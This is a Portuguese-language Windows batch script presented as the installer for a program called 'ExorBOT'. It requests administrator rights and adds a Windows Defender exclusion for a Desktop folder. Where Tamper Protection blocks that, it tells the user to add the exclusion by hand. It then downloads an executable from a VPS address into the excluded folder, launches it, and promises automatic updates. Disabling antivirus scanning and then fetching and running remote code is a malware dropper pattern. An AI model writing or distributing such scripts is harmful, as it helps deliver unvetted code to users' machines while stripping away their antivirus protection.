@echo off
title ExorBOT - Instalador
setlocal

rem === precisa de admin pra liberar a pasta na Windows Defender ===
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo Pedindo permissao de administrador...
    powershell -Command "Start-Process -FilePath '%~f0' -Verb RunAs" >nul 2>&1
    exit /b
)

set "DEST=%USERPROFILE%\Desktop\ExorBOT"
set "URL=https://primeval.vps-kinghost.net/?action=download"

echo ==================================================
echo    Instalador do ExorBOT
echo ==================================================
echo.
echo Pasta de instalacao: %DEST%
echo.

if not exist "%DEST%" mkdir "%DEST%"

echo [1/3] Liberando a pasta na Windows Defender...
powershell -NoProfile -Command "Add-MpPreference -ExclusionPath '%DEST%' -ErrorAction SilentlyContinue" >nul 2>&1

rem confere se a exclusao realmente pegou (Tamper Protection pode bloquear)
powershell -NoProfile -Command "if ((Get-MpPreference).ExclusionPath -contains '%DEST%') { exit 0 } else { exit 1 }" >nul 2>&1
if %errorlevel% neq 0 (
    echo.
    echo  [!] Nao consegui liberar a pasta automaticamente.
    echo      Provavelmente a "Protecao contra Adulteracao" da Defender esta ligada.
    echo      Adicione a exclusao na mao:
    echo        Seguranca do Windows - Protecao contra virus - Gerenciar configuracoes
    echo        - Exclusoes - Adicionar - Pasta - escolha:
    echo        %DEST%
    echo.
    echo      Depois rode este instalador de novo.
    echo.
    pause
    exit /b
)

echo [2/3] Baixando o ExorBOT...
powershell -NoProfile -Command "try { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('%URL%','%DEST%\ExorBOT.exe') } catch { exit 1 }"

if not exist "%DEST%\ExorBOT.exe" (
    echo.
    echo  [!] Nao consegui baixar o exe. Confira a internet e rode de novo.
    echo.
    pause
    exit /b
)

echo [3/3] Abrindo o ExorBOT...
start "" "%DEST%\ExorBOT.exe"

echo.
echo ==================================================
echo   Pronto! ExorBOT instalado e liberado.
echo   Os proximos updates sao automaticos.
echo ==================================================
timeout /t 5 >nul
exit /b
